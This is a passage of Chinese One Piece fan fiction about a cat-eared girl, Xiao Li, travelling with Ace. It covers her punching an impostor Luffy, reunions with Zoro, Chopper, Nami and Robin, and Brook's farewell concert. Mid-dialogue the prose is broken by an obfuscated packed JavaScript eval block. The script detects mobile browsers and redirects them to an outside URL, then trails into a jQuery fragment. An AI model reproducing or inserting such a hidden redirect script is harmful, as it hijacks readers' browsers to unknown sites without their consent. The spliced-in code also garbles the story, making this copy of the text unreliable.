众人循声望去,只见一个穿着长袖连衣裙、看起来娇娇小小的黑发少女,不知何时已经走到了空地中央,正眨着一双清澈的蓝眼睛,微微昂着下巴,双手交叠,看着主座上的冒牌路飞几人,黑色的尾巴在身后轻轻摇晃。 “哪里来的小丫头片子!”冒牌路飞先是被这突如其来的插话弄得一愣,随即带了怒气。但当他看清小狸精致漂亮的脸蛋和独特的可爱猫耳时,怒气瞬间消散,取而代之的是一种油腻的、带着审视和估量的缓和。他甚至没把小狸当成一个可能的海贼,只当是哪个不懂事、盲目崇拜“草帽小子”名号的富家小姐或无知少女。 “也是想来寻求本大爷庇佑的么?”冒牌路飞摸了摸自己的双下巴,摆出施恩般的姿态,“哼,看你长得还算顺眼……也不是不行。你叫什么名字?” 他甚至连惯例的“悬赏金多少”、“有什么本事”都没问。 小狸眨了眨眼,有点意外。她还以为自己的登场,至少能换来一句“你也是海贼?”的询问呢。 “哎?你不问问我的赏金吗?”她歪了歪头,露出疑惑的表情,“我说不定……也只有几千万哦?”她学着刚才冒牌路飞鄙视别人的语气。 “噗——哈哈哈哈!”冒牌路飞像是听到了什么天大的笑话,连同他身边的冒牌干部们都一起哄笑起来。 “赏金?宠物要什么赏金?”冒牌路飞笑得浑身肥肉乱颤,用手枪指了指小狸的猫耳,语气轻蔑又理所当然,“当本大爷的宠物,把本大爷伺候舒服了,安心跟着本大爷,保你吃香喝辣!” “就是!路飞老大问你名字呢!发什么愣!快说啊!”旁边的冒牌乌索普狗腿地呵斥道。 ……………… 小狸脸上的表情,从疑惑,到惊讶,最后慢慢凝固 宠、物? 她低头看了看自己的手,又抬手摸了摸自己的耳朵。一股无名火,“腾”地一下,从脚底板直冲天灵盖!她辛辛苦苦锻炼、战斗,好不容易有一亿贝利悬赏,在这群蠢货眼里,就因为一对耳朵居然还只是“宠物”?! 怒气值瞬间蓄满 “我、有!”小狸一字一顿,声音不再软糯,而是带着一种咬牙切齿的力度,蓝眼睛里像是凝结了海面的寒冰,“一、亿!贝、利!” 话音落下的同时,她的身形动了 不是果实能力,不是火焰,甚至没有用什么复杂的技巧。就是最直接、最纯粹、饱含着被蔑视的愤怒的一记裹挟着武装色霸气的直拳! 小小的拳头,带着惊人的速度和力量,撕裂空气,在周围所有人都没反应过来的瞬间,狠狠地、结结实实地砸在了冒牌路飞那张油腻宽大的胖脸上 “砰——!!!” 一声闷响,冒牌路飞脸上的狞笑和轻蔑彻底僵住,眼球因为巨大的冲击力而夸张地凸出,整个人如同被攻城锤正面击中,连人带椅子,直接向后翻倒过去,“哐当”一声砸在地上,眼睛一翻,干脆利落地失去了意识。那顶破草帽咕噜噜滚到了一边。 广场上瞬间死寂。 所有人都目瞪口呆地看着那个站在原地,缓缓收回拳头,轻轻甩了甩手腕的猫耳少女。她脸上没什么表情,只是眼神冷飕飕地扫过剩下那几个呆若木鸡的冒牌干部。 “我叫小狸。”她清晰地说道,确保每个人都听得到,“给我记住了。” 然后,她的目光,如同冰锥,最后定格在那个早已吓得面无人色、瑟瑟发抖的冒牌娜美身上。 “另外,”小狸看着她,忽然扯出一个带着十足嫌弃和恶劣意味的鬼脸,舌头吐得老长,“上次看到就想说了——” “你扮的娜美,真的,丑、死、了!略——!” 做完鬼脸,她不再看这帮乌合之众一眼,转身自顾自地,大摇大摆地穿过自动分开的人群,离开了这里。 没有人敢阻拦。甚至没人敢大声喘气。 直到她的身影彻底消失,死寂的广场上才如同解冻般,响起细碎而压抑的、充满后怕的议论声: “猫、猫耳……小狸……刚才她说一亿……” “是白胡子海贼团那个‘凶星’?!” “白团的人怎么会在这里?还对‘草帽小子’出手……” “白胡子海贼团,是、是在立威吗?对要去新世界的草帽小子……” “太可怕了……一拳就……” “快、快把老大抬走!离开这儿!” 小狸走在回去的路上,气已经消了大半,甚至有点后悔——应该等艾斯一起来的,让他看看自己多威风!不过,教训了那个敢说她是“宠物”的混蛋,还是挺解气的。她摸了摸自己的耳朵,哼了一声。 宠物?你见过能把你揍飞的、价值一亿贝利的宠物么,蠢货。 夕阳将她的影子拉长,尾巴在身后得意地翘着,尾尖愉快地卷了卷。今天,也努力维护了自己身为大海贼的尊严呢! 晚上吃什么呢…… 95.所以到底哪里像了 等待的日子因为无所事事而显得太过漫长,对总是精力旺盛的小狸而言有些难熬。她像只被暂时圈养的小兽,精力无处释放,只能在旅馆房间、夏琪的酒吧和香波地街道之间来回打转。 这天早晨,她又习惯性地赖了床。阳光透过旅馆木窗的缝隙,她蜷在柔软的被褥里,脸颊埋在艾斯枕过的枕头上,呼吸间全是他留下的温暖气息。直到日上三竿,才迷迷糊糊被饥饿唤醒。 晃悠到夏琪的酒吧时,夏琪正倚在吧台边看报纸,见她进来抬了抬眼:“哦,小狸来了?娜美那丫头前两天已经到了哦,不过一早就跑去商业街‘补充物资’了。” “真的吗?娜美小姐到了!”小狸瞬间清醒,眼睛亮起来,那点赖床的慵懒一扫而空。她兴冲冲地就想往外跑,却被夏琪叫住。 “急什么,真要采购起来,没一两个小时可回不来。先吃点东西再走吧。” 而此时,艾斯则坐在了一家喧闹酒吧的窗边,目光落在窗外那个正在招摇撞骗的冒牌草帽身上。看着那个举着手枪耀武扬威的中年胖子在众人的吹捧中沾沾自喜,艾斯长长地叹了口气,无奈地揉了揉眉心——他真是糊涂了,自家那个一根筋的笨蛋弟弟怎么可能干出这种事儿?或者说,会被这种拙劣谎言吸引来的自己也有问题,明知道是冒牌货还是不死心的过来看看。 他双手向后,交叉抱住后脑勺,身体放松地靠向粗糙的木制椅背。目光虽还落在那个冒牌货身上,思绪却已飘远。唇角不自觉地勾起一丝极淡、却无比柔软的弧度,那弧度里盛满了跨越时光的宠溺与回忆。 路飞啊…… 那个在马林梵多的处刑台上,顶着漫天炮火,毫不犹豫、嘶吼着冲向他的少年身影,清晰地浮现在眼前。那份不顾一切的莽撞,那份“你是我哥哥”的笃定,那份即使面对绝境也要救他出来的执着仿佛就发生在昨天。 他单手拿起随意放在桌边的橙色牛仔帽,动作流畅地扣回自己头上。然后站起身,结实精悍的上身完全展露,背后那个弯月白胡子的标志性刺青毫无遮掩地暴露在酒吧略显昏暗的光线下,也暴露在那些或明或暗投来的视线中。 细碎的议论声在酒吧各处漾开,艾斯恍若未闻,表情坦然,步伐稳健地穿过桌椅之间,重新走入香波地午后明亮而略显浮躁的阳光中。 既然确认了还是那群冒牌货,艾斯便漫无目的地在街道上闲逛起来。他又晃悠到那家卖“伟大仙贝”和“伟大包子”的小店,熟门熟路地买了一大包,边走边吃,酥脆的仙贝在齿间发出愉快的咔嚓声。 “明天就是约定集合的日子了吧?”他咬着仙贝,望向远处红树巨冠间露出的湛蓝天空,低声自语,“路飞这小子……这么慢的么?”想到弟弟可能遇到的种种离谱状况,他忍不住笑出声,摇了摇头。 街道转角传来打斗声,几个不知属于哪方势力的海贼正在械斗,刀剑碰撞,呼喝不断。艾斯只是瞥了一眼,便习以为常地绕开,继续咬着仙贝,仿佛那只是街头背景噪音的一部分。几个穿着统一黑色西装、神色冷峻的男人与他擦肩而过,他们似乎在急切地搜寻或追踪什么,脚步很快,目光不断扫视着周围的人群和巷口。 艾斯没太在意,香波地这种地方,出现什么身份的人都不奇怪。就在他即将路过一条狭窄僻静的小巷口时,一个温和、沉静、带着知性韵味的女性嗓音,从小巷深处轻轻传来。 “那个……请稍等一下。” 艾斯的脚步几不可察地慢了一拍。他眼角的余光瞥见,刚才那几个黑衣男人的身影在不远处的一个岔路口略微停顿,似乎在犹豫向哪个方向搜寻。 他没有回头,也没有表现出任何异样,只是仿佛临时改变了主意,脚步一拐,极其自然地拐进了那条光线略显昏暗的小巷。动作流畅得就像他原本就打算走这条路。 巷子不深,堆放着一些废弃的木箱和杂物。一个身材高挑窈窕的女人正静静站在那里。她穿着一条款式简约却不失优雅的衬衫背心和长裙,柔顺的黑色长发如同上好的绸缎披散在脑。她头顶戴着一副墨镜,此刻正用那双沉静如湖、仿佛能洞察人心的美丽眼眸望着他,脸上带着从容而礼貌的微笑。 见艾斯进来,她微微颔首致意,声音依旧平稳温和:“失礼了。您是……‘火拳’波特卡斯·D·艾斯先生,对吗?” 艾斯停下脚步,目光在她身上迅速而谨慎地扫过。没有敌意,气质特殊,而且……直接叫出了他的名字和身份。 “是我。”艾斯摘下帽子,回以同样礼貌的点头,脸上露出客气的笑容,“幸会。如果我没猜错的话,您应该是妮可·罗宾小姐?路飞在司法岛的‘壮举’,可是连新世界都传遍了。我家那个总是让人操心的笨蛋弟弟,承蒙你们诸位一直以来的关照了。”他的道谢很真诚,带着兄长对弟弟伙伴的天然亲近与感激。 “您太客气了。”罗宾的笑容加深了些,眼神温和,“路飞是一位非常出色的船长,能作为他的伙伴航行,是我们的幸运。”她的态度自然大方,对于“死而复生”的火拳艾斯出现在这里,没有表现出任何不必要的惊讶或探究,仿佛这只是一次寻常的偶遇。“这里不太方便详谈,”她看了眼巷口,“您还见到过我们其他的伙伴吗?其他人是否已经到了?” “嗯,除了路飞那小子,应该都到齐了。”艾斯重新戴好帽子,语气轻松,“你们的船,正在41GR的船坞镀膜,弗兰奇和大家应该都在那边。” “呵呵,原来如此。非常感谢您告知。”罗宾掩唇轻笑,姿态优雅,“那么,您要一同过去吗?” “我稍后要去接个人,”艾斯想到某只可能还在街上乱晃的小猫,眼神柔和了一瞬,“不过,接下来的航程打算暂时与你们同行一段时间,还请多多关照。” “您言重了。”罗宾微微欠身,礼仪周到,“路飞的兄长愿意同行,是我们的荣幸。路飞知道的话,也一定会非常开心的。” “那话先说到这里。”艾斯侧耳听了听巷外的动静,那几个黑衣人的脚步声似乎远了些,“路上请多加小心,这附近……最近有点过于‘热闹’了。” 两人礼貌地告别,艾斯转身走出小巷,重新汇入街道的人流。罗宾则朝着相反方向,步履从容地消失在小巷另一头。 --- 香波地群岛某处相对偏僻的海岸边,远离了商业区的喧嚣和编号区域错综复杂的街道。海浪温柔地拍打着礁石,溅起细碎的白色泡沫。巨大的红树根系在这里探入海中,形成一片阴凉静谧的角落。 索隆盘膝坐在一块平坦的礁石上,背影挺拔如松。他手中握着一根简陋的鱼竿,线垂入清澈的海水中,整个人闭目凝神,呼吸悠长,仿佛与环境融为一体,进入了某种冥想的境地——如果忽略他身边那个空空如也、连片鱼鳞都没有的鱼护,以及周身散发出的那种生人勿近的、略带烦躁的“别来惹我”气场的话。 “索隆——?你在这里做什么呀?” 清脆软糯、带着点好奇的少女嗓音,毫无预兆地、几乎贴着他耳后响起! 索隆浑身肌肉骤然绷紧!瞳孔在紧闭的眼皮下剧烈收缩!有人!近身到这种距离,他居然完全没有感知到任何气息! 几乎完全是身体历经无数战斗锤炼出的本能反应,他握竿的手一松,鱼竿“啪嗒”掉在礁石上。另一只手已经快如闪电地按上了腰间和道一文字的刀柄—— “锵!” 清越的出鞘声带着破空的风声,寒光乍现,凌厉的斩击弧线伴随着凛冽的杀气,毫不犹豫地向身后声音来源处挥去! 斩击……落空了。 刀锋没有传来切割到实体的触感。反而,刀尖传来一点微妙的、轻盈的重量。 他猛地睁眼,抬头望去—— 只见一个穿着连衣裙的黑发猫耳少女,正双手背后,笑眯眯地、单足点在他的刀尖之上,随着刀身微微晃动,保持着不可思议的平衡。裙摆和尾巴在风中轻轻飘荡,蓝色的眼眸弯成月牙,正低头看着他,脸上带着恶作剧得逞般的俏皮笑容。 “是……小狸?”索隆脸上的警惕和杀气瞬间消散,取而代之的是纯粹的惊愕。他认出了这张半月前才在克拉伊咖那岛共同生活过一段时间的面孔,也认出了那双独特的猫耳和蓝眼睛。 小狸轻盈地一个后翻飘然落地,踩在微湿的礁石上。她围着还保持着挥刀姿势的索隆转了一圈,猫尾巴好奇地扫过他掉在地上的鱼竿和空鱼护。 “好久不见呀,索隆!”她声音欢快,带着重逢的喜悦。 索隆缓缓收刀入鞘,动作依旧干脆利落,但目光在她身上多停留了片刻,似乎在重新评估什么。“确实……好久不见。”他顿了顿,声音一如既往的简洁低沉,“有半个多月了吧。你……看起来不错。”他的目光扫过小狸红润的脸颊和明亮的眼睛,最终落在她轻松自然的神态上。 “我好着呢!”小狸活力满满地拍了拍自己的胳膊,然后像是才注意到他身边的“装备”,故意拖长了语调,手指指向那个空空如也的鱼护,眼中闪烁着促狭的光芒,她早就从佩罗娜那里学到了逗弄索隆是多有趣的一件事情“你这是在——钓鱼?” 索隆的额角顿时冒出一个清晰的十字形青筋,握着刀柄的手紧了紧:“不明显吗?!”语气硬邦邦的。 “可是呀~”少女坏笑着,故意凑近那个鱼护看了看,又抬头望向他,蓝眼睛里满是揶揄,“这里面——真的有鱼吗?我怎么只看到空气和……索隆的闷气呀?” “那是因为这里根本就没鱼!!!”剑士终于恼羞成怒,一脚把那个碍眼的空鱼护踢到一边,连带着鱼竿也咕噜噜滚开,“这见鬼的地方!” 小狸看着他气急败坏的样子,眨眨宝石般的蓝眼睛,忽然伸出纤细的食指,对着面前平静的海面,轻轻划了几个圈。 令人惊奇的一幕发生了,原本只有微波荡漾的海面,突然像是被无形的指挥棒引导,泛起一圈圈规则的涟漪。紧接着,五彩斑斓的鱼群从水下汇聚而来,先是整齐地排成一个方阵,然后迅速游动变化,形成一个巨大的“八”字,最后,几条体型较大的鱼甚至猛地跃出水面,在空中灵巧地翻转,做出了堪比专业跳水运动员的“转体三周半”动作,才“噗通”一声落回水里,水花压得极小。 索隆:“……” “你——!”绿发剑士的脸彻底黑了,他气得几乎要冒烟,一把抓起地上的鱼竿,对着海面虚挥了两下,最后自暴自弃般地把鱼竿往旁边一摔,盘腿在礁石上坐下,抱着胳膊,扭开脸,浑身上下散发着“我很不爽别惹我”的气息。“你怎么会在这儿?”他没好气地问,试图转移话题。 “嘿嘿,”小狸也不介意,挨着他坐下,猫耳愉快地抖了抖,“我是出来找娜美小姐的呀!但是呢——”她拖长了声音,有点不好意思地挠了挠脸,“我好像……完~全~迷路了呢!问了一个老伯,他说向前走两个路口右转……结果根本找不到说的那个地方嘛!所以,我就来这边看看海,顺便等艾斯来找我喽~他肯定能找到我的!” 她说着,忽然又凑近索隆,脸上露出那种“我懂你”的、带着点小恶魔般的笑容,压低声音说:“索隆你——要和我们一起回去吗?不然以你的方向感,根本找不到路的吧?就算找到,说不定连集合时间都错过了” “当然找得到了!我可是从来都不迷路的!” “小狸。” 就在小狸还想继续调侃这个脸皮其实有点薄的剑士时,那个熟悉到骨子里的、带着笑意和一丝无奈的嗓音,从岸边一处稍高的石阶上传来。 猫耳少女整个人像是瞬间被点亮了。耳朵“唰”地竖得笔直,转向声音来源,眼睛亮得惊人。她立刻回身,朝着那个站在高处、逆着光的身影大幅度地挥手,声音雀跃:“哥哥——!我在这里!” 艾斯纵身从石阶上跃下,身姿矫健,落地轻盈。他张开一只手臂,小狸已经像只归巢的雏鸟般扑了过来,被他稳稳接住,搂进怀里。艾斯习惯性地揉了揉她的头发,完全无视了两人身后索隆那一脸“没眼看”、“我就知道”、“光天化日”的复杂表情。 “好久不见,索隆。”艾斯对绿发剑士点了点头,算是正式打过招呼,语气熟稔。“刚才过来的路上,遇到了你们的伙伴。除了路飞,你们的人应该差不多到齐了。” 索隆“嗯”了一声,算是回应,站起身,拍了拍身上的沙子。“那就回去吧。”言简意赅。 三人沿着海岸线,朝着回去的方向走。小狸一手被艾斯牵着,另一只手还在比划着跟索隆描述刚才鱼群表演的“盛况”,气得索隆加快脚步,走到前面,试图远离这个“噪音源”。 “索隆,你走过了,是这边” “……” 走着走着,小狸忽然停下了脚步,耳朵敏锐地动了动。 “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030389|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?怎么了?”艾斯问。 小狸没回答,只是伸手指向前方不远处的一条岔路。只见一只蓝鼻子、戴着粉红色帽子的小驯鹿,正迈着小蹄子,在路上一边拼命狂奔,一边哭得稀里哗啦,眼泪像断线的珠子一样往下掉,小身子一抽一抽的,嘴里还含糊地呜咽着: “呜……罗宾……罗宾被抓住了……怎么办……大家……大家在哪里……呜哇——!” “乔巴?”小狸惊讶地叫了一声,身影一闪,已经轻松地追了上去,弯腰,伸手,精准地拎起了泪眼朦胧的小船医,把他提到自己面前。 “小狸?!”乔巴被拎起来,先是一愣,泪眼婆娑地看清眼前的人后,瞬间转为惊喜,但紧接着哭得更凶了,“小狸!太好了!罗宾!罗宾被坏人抓走了!哎?等等……”他忽然注意到小狸身后走过来的两个人,眨巴着湿漉漉的大眼睛,看了看索隆,又看了看小狸,小脑袋似乎有点转不过来,“怎么……怎么有两个索隆?你刚刚不是和山治路飞在一起……?” “笨蛋乔巴,”小狸无奈又好笑,把毛茸茸、软乎乎的小船医抱进怀里,用脸颊亲昵地蹭了蹭他柔软的脸颊皮毛,又在他毛茸茸的脑袋上响亮地“啾”了一口,试图用亲昵安抚他的惊慌,“那些家伙一看就是冒牌货吧” 乔巴被她蹭得有点痒,哭声渐止,抽噎着:“原、原来是这样吗……我就说,大家怎么会不管罗宾……”随即,他被小狸的亲吻和“可爱”的夸奖弄得不好意思起来,虽然还在抽噎,但身体已经诚实地扭成了麻花状,小蹄子胡乱挥舞着,“可爱……嘿嘿……你、你就算这么夸我……我也不会高兴的啦!混蛋!” 这份温馨的“撸驯鹿”时光并没持续多久。一只温暖而有力的大手伸过来,不容置疑地拎起还在扭麻花的乔巴,将他轻轻放回地上。 觉得自家小猫对毛茸茸关注度过高的艾斯有些吃醋了,俯身靠近小狸,灼热的呼吸故意拂过她敏感的猫耳根部,嗓音压得低低的,带着不容错辨的笑意和某种暧昧的暗示,用只有两人能听清的音量说: “我也要亲。” “艾斯!!!”小狸的脸颊瞬间爆红,从脸颊一路红到耳尖,连脖颈都染上了粉色。她羞恼地握起拳头捶了他肩膀一下,却被艾斯含笑稳稳握住手腕。然后,他牵起她的手,在她白皙光滑的手背上,落下一个轻柔却滚烫的吻。 索隆立刻把脸扭开,假装研究旁边红树根部的纹路。乔巴则瞪圆了圆圆的大眼睛,小蹄子指着他们,恍然大悟般拉长了声音:“哦——!!你们……你们……!!”小脸也红了起来。 几人很快回到了夏琪的酒吧,并且顺利与娜美和乌索普汇合。 “小狸!艾斯!”娜美看到他们,明显松了一口气,随即脸上绽开灿烂的笑容。她快步走过来,先给了小狸一个结结实实、充满温暖和庆幸的拥抱。“看到你们平安无事真是太好了!”娜美的声音有些哽咽,用力揉了揉小狸的头发,“那时候在马林梵多……报纸上的消息……我们都担心坏了。小狸,你真的没事吧?有没有受伤?”她松开小狸,仔细地上下打量她,眼神里是真切的关怀和后怕。 “没事的!一点事都没有!”小狸在娜美怀里蹭了蹭,感受着这份属于女□□的温柔关心,心里暖洋洋的。她退出拥抱,挺起胸膛,猫尾巴得意地高高翘起,尾尖炫耀般晃了晃,“而且,我现在可是超——级强的哦!等回到新世界,一定要让大家大吃一惊!” “哦?真的吗?”乌索普好奇地凑了过来,长鼻子动了动,“你的悬赏金现在是多少了?” “没错哦!”小狸眼睛一亮,像是等待这个问题很久了。她小心翼翼地取出那张新到手的被她保存得平平整整、边角都没有丝毫折损的最新悬赏令,像展示珍宝一样展开。“可是足足一个亿哦。” 三个脑袋立刻凑到了一起。娜美仔细端详着照片上那个眼神锐利、姿态飒爽的猫耳少女,又看看眼前这个活力满满、带着点小得意的小狸,眼中充满了欣慰和自豪。忽然,她像是想起了什么,促狭地眨了眨眼,凑近小狸耳边,用只有她们两人能听到的音量,压低声音,带着八卦的笑意问: “所以……小狸,你和艾斯,现在到底是什么‘情况’呀?”她故意瞟了一眼不远处正和索隆简单交谈的艾斯,“乔巴可是跟我说,看到某些人在街上……” “娜美小姐!”小狸的脸“腾”地一下又红了,她手忙脚乱地想把悬赏令收起来,结果差点撕破,又赶紧抚平,结结巴巴地小声回答:“就、就是……情……情侣嘛。”声音细如蚊蚋,脑袋都快埋到胸口了。 “哦——很能干嘛,我们的小狸~”娜美用手肘轻轻撞了撞她,脸上满是欣慰和调侃,“看来,艾斯那家伙,已经把我们可爱的小猫彻底‘吃定’了哦?” “娜美小姐!不许说了!”小狸羞得不行,干脆耍起赖来,伸手去挠娜美的痒痒。两个女孩顿时笑闹成一团,在酒吧的沙发上滚作一团,清脆的笑声驱散了连日来等待的些许焦躁。 “呵,看来大家相处得很愉快。” 一个温和悦耳、带着独特知性韵味的女声响起,小狸停下打闹抬头看去。 只见罗宾不知何时已走了过来,正站在一旁,脸上带着温柔优雅的微笑。长发柔顺地披在肩头,整个人散发着成熟女性特有的、从容而迷人的魅力。 “这位就是小狸小姐吗?”罗宾的目光落在小狸身上,眼中带着友善的打量和一丝好奇,“我是妮可·罗宾。之前听路飞提起过,他兄长身边有一位非常特别、拥有猫耳特征的少女。今日一见,果然很可爱。” 美、美人!超级有气质的美人! 小狸看着眼前这位充满了成熟风韵、智慧与温柔并存的姐姐,感觉自己的心跳都漏跳了一拍。她有点不好意思地站起身,蓝眼睛亮晶晶地看着罗宾,主动伸出手,轻轻握住罗宾伸出的手。罗宾的手指修长柔软,皮肤细腻光滑,带着令人安心的微凉温度。而且……靠近了才发现,罗宾身上有一种很好闻的、淡淡的书卷气息混合着某种清雅的花香,非常好闻。 小狸握着她的手,有点舍不得放开,耳朵微微抖了抖,心里默默想着:路飞的伙伴们……果然都好棒啊。娜美小姐又漂亮又厉害,罗宾小姐又温柔又香香的…… 她的声音都软了几分:“你好,罗宾小姐,我是小狸。接下来要暂时打扰了,请多多关照。” 喜欢…… 96.灵魂之王 山治的状况确实不太乐观,从人妖岛归来后太久未见女性的他鼻血止不住地流。乔巴忙得团团转,又是冰敷又是输血,可惜收效甚微,最好的方法还是从源头下手,把他和漂亮女士隔离开。 小狸犹豫地站在门口,指尖萦绕着一缕微弱的光晕,小心的地提议:“那个……要不让我试试?我也许能……” 她刚刚靠近床边,山治朦胧中瞥见又一位美少女靠近,鼻血顿时喷得更高了些。 “啊啊啊小狸你还是先出去吧!”乔巴惊慌失措地挥舞着小蹄子,“山治的失血量已经危险了!” 被“请”出房间的小狸耷拉着耳朵,她明明是想帮忙的…… 与此同时,娜美的房间里弥漫着紧张的气氛。航海士面前摊开着海图,她咬着指甲,眉宇间凝着化不开的焦虑。 小狸在门口探头探脑,想开口安慰却又不知从何说起。她焦躁地在走廊里来回踱步,尾巴不安地扫来扫去。 “没关系的,小狸。” 温和的嗓音从身后传来。罗宾正坐在走廊的小桌旁悠闲地品茶,书本摊开在膝头。她朝小狸露出一个安抚的微笑:“要相信我们的航海士呀。” 小狸回过头,耳朵轻轻抖动,乖巧地点点头。罗宾温柔又优雅,只是坐在那里就像一幅静谧的油画,让人不由自主地想要亲近。但小猫还是有些犹豫,踌躇着不敢上前,和漂亮的大姐姐总让她有些害羞。 罗宾看出了她的局促,笑着指了指对面的座位:“小狸要不要喝茶?我泡了苹果红茶。” 猫耳瞬间立了起来,小狸飞快地坐到罗宾对面,蔚蓝的眼睛亮晶晶的,像得到了意外奖赏的孩子。 红茶散发着淡淡的果香,甜甜的,暖暖的。小狸小口抿着茶,目光却不自觉地飘向对面——罗宾优雅端起茶杯的姿态,垂眸时长长的睫毛,还有那总是带着温柔笑意的唇角…… “说起来”罗宾循声抬眼,正好对上小狸专注的视线,“罗宾身上有一股香香的味道。” 历史学家微微一怔,随即轻笑出声。她放下茶杯,支着下巴看向呆呆看着自己的小猫:“小狸,你如果再这么盯着我,先不说茶要凉了——”她故意拖长了语调,眼中闪过狡黠的光,“一会艾斯可是也要来找我争风吃醋了。” 小狸整张脸都红透了,手忙脚乱地低下头捧起茶杯,支支吾吾的说不出话。 心情大好的罗宾又拿出珍藏的曲奇投喂小猫。甜食很快治愈了小狸的窘迫,她甚至鼓起勇气,端着罗宾特意准备的另一份茶点,小心翼翼地敲开了娜美的房门。 “小狸?”娜美打开门,眼底还带着未散的忧虑。 “娜美小姐辛苦了!”小狸举起手中的托盘,上面放着精致的点心和冒着热气的红茶,“罗宾说,再厉害的航海士也需要补充能量!” 橘发少女愣了片刻,随即绽开灿烂的笑容。她伸手将小狸搂进怀里用力揉了揉:“还是女孩子最贴心了!我们可是要去新世界!结果我们船上的那些男人啊,除了打架闯祸什么也不管!”她接过托盘,又忍不住抱怨,“尤其是那个单细胞船长,还来的这么慢!” --- 约定当日,作为唯一抢到了票的两人之一,小狸听说灵魂之王布鲁克竟是路飞的同伴后,对这场演唱会的好奇里更多了层亲切的期待。 布鲁克演唱会所在的33GR早已人声鼎沸。还未走近,声浪便如潮水般涌来,混着激昂的音乐、尖叫与欢呼。小狸被艾斯牵着手挤进人群,猫耳抖了抖,太多声音,敏锐的听觉有些承受不住,她下意识往艾斯身边贴紧了些,手指悄悄钻进他指缝,扣住。 “人太多了?”艾斯低头,帽檐下的眼睛带着笑。 小狸摇摇头,耳朵却耷拉下来一点,“不是,是有点太吵了。” 艾斯了然,“那,要走嘛?我们可以去别的地方” “不要,这可是最后一场!” 见小猫坚持,艾斯便也由着她了,只是将人拉得更近了些,灵魂之王,路飞的同伴,居然是这么出名的明星么?这样的阵仗……他真的还会回到海上么? --- 舞台上的布鲁克正如痴如醉地演奏。指骨在吉他弦上飞舞,音符如迸溅的火星点燃全场。 歌迷疯狂回应,声浪几乎掀翻穹顶,小狸也没参加过这么热闹的盛事,慢慢被热烈的气氛感染。 中场休息,燥热的人群还久久无法平复,小狸的电话虫先响了起来,她钻进相对安静的角落接通,夏琪的声音传了出来:“小狸呀,海军从G1出发了哦,最多半小时就到。娜美他们已经往42GR去了。至于布鲁克老兄……就拜托你们通知啦。” 挂断电话,小狸和艾斯对视一眼。艾斯挑眉:“我去?” “我去吧。”小狸捏了捏艾斯的手指“我溜进去更容易些。你在这儿等着我哦” 小狸转身融入人群,腰身一矮,从两个正高举荧光棒尖叫的歌迷之间滑过,脚尖点地,悄无声息地化作黑猫在众人脚下穿行。守卫正靠着墙打哈欠,她趁机溜进了昏暗的走廊。 布鲁克的休息室在尽头。门虚掩着,里面传来轻柔的试音声。小狸用头顶了顶,挤了进去 布鲁克正捧着吉他,听到动静,黑洞洞的眼眶望了过来:“哦呀?怎么有猫溜了进来,来来来……” 小狸在布鲁克的轻呼中跃上梳妆台,端端正正坐好,尾巴圈在身前。 “布鲁克先生,你好,我是小狸。”她语速平稳,将海军动向、草帽团提前出发的消息简洁道出,“夏琪姐说,飞鱼骑士团会来接应我们,请尽快做好准备。” 布鲁克静默了两秒,指骨无意识地摩挲着吉他颈,远处隐隐传来的喧嚣,也像隔着一层毛玻璃。 然后他笑了,那标志性的笑声比舞台上多了几分真实的温度:“原来如此……真是非常感谢你特意来通知我,小狸小姐。这份恩情让我感动得都要热泪盈眶了——虽然我根本没有眼睛可以流泪!哟吼吼吼!” 他站起身,身躯在灯光下拉出细长的影子:“不过还要稍微等一会,粉丝们还在等我返场呢,但请放心,我也有所准备。毕竟……”他顿了顿,声音低下去,像自言自语,“我可是等了五十年,才等到这群伙伴啊。” 小狸看着他的背影,忽然想起艾斯说起“家人”时的眼神,心不自觉的软了软。她跳下椅子,轻轻点头:“嗯。那,舞台见。” --- 回到舞台的布鲁克,在又一首歌的高潮处,忽然按住琴弦。 音乐戛然而止。全场静了一瞬。 他走到麦克风前,聚光灯打在他的骨架上,反射出冷冽的光。 “诸位,”他的声音透过音响传来,少了平日的亢奋,多了种沉静的郑重,“有一件事,我必须在此宣布——” 台下歌迷屏住呼吸。 “今夜,将是我,‘灵魂之王’布鲁克……最后的演出。” 几乎同时,会场大门被轰然撞开!身着白色制服的海军鱼贯涌入,为首的军官高举扩音器:“我们要逮捕伦巴海贼团的海贼布鲁克!我们现在怀疑你和草帽一伙有所关联,无关人员立刻散开!” 哗然如海啸般炸开。惊愕、不解、悲伤的声浪几乎要将会场淹没。布鲁克挺直了脊梁,深深鞠躬:“感谢诸位长久以来的厚爱。能与你们共享音乐,是我此生最大的荣幸之一。” “但是,”他抬起头,声音忽然扬起,带着放肆又真诚的笑意,“我是一个音乐家,激起全员斗志点燃气氛是我的使命。草帽路飞已死?荒谬至极!告诉全世界,海贼草帽路飞,还活着!” “他迟早会成为统领全世界海域的王者!他要出航不热闹点怎么能行,oh baby!” “爱我爱到骨头里吧!!!献给我最爱的伙伴们——请听我最后一首灵魂之歌吧” 混乱瞬间爆发。然而出乎意料的是,最先动起来的不是海军,也不是布鲁克,而是那些红了眼的歌迷。 “开什么玩笑!!” “保护布鲁克大人!!” “海军滚出去——!!” “请让我们听他最后一曲吧!!!让他唱完吧!!” 人群如潮水般反向涌向入口,手臂挽着手臂,身体抵着身体,筑起一道颤巍巍却坚定的人墙。荧光棒、帽子、甚至冲上去捂住了海军的嘴,怒骂与呐喊混成一片狂热的轰鸣。 布鲁克站在舞台中央,静静看着这一切。他忽然抱起吉他,手指拨出第一个和弦…… 轻快又充满希望的调子流淌出来,他的声音透过麦克风,奇异地压过了所有喧嚣,清澈地抵达每个人耳中。 歌曲进入尾声。布鲁克手指在琴弦上扫出最后一个绚烂的音符 在海军的枪支瞄准发射的同时,舞台四周猛地炸开大团烟雾,瞬间笼罩整个舞台,视野里只剩下破碎的光斑与灼热的硝烟味。 “咳、咳咳……”小狸被烟呛得眯起眼,手腕却猛地被握住——是艾斯。他不知何时已来到她身边,另一只手挥开浓烟,低声道:“走!” 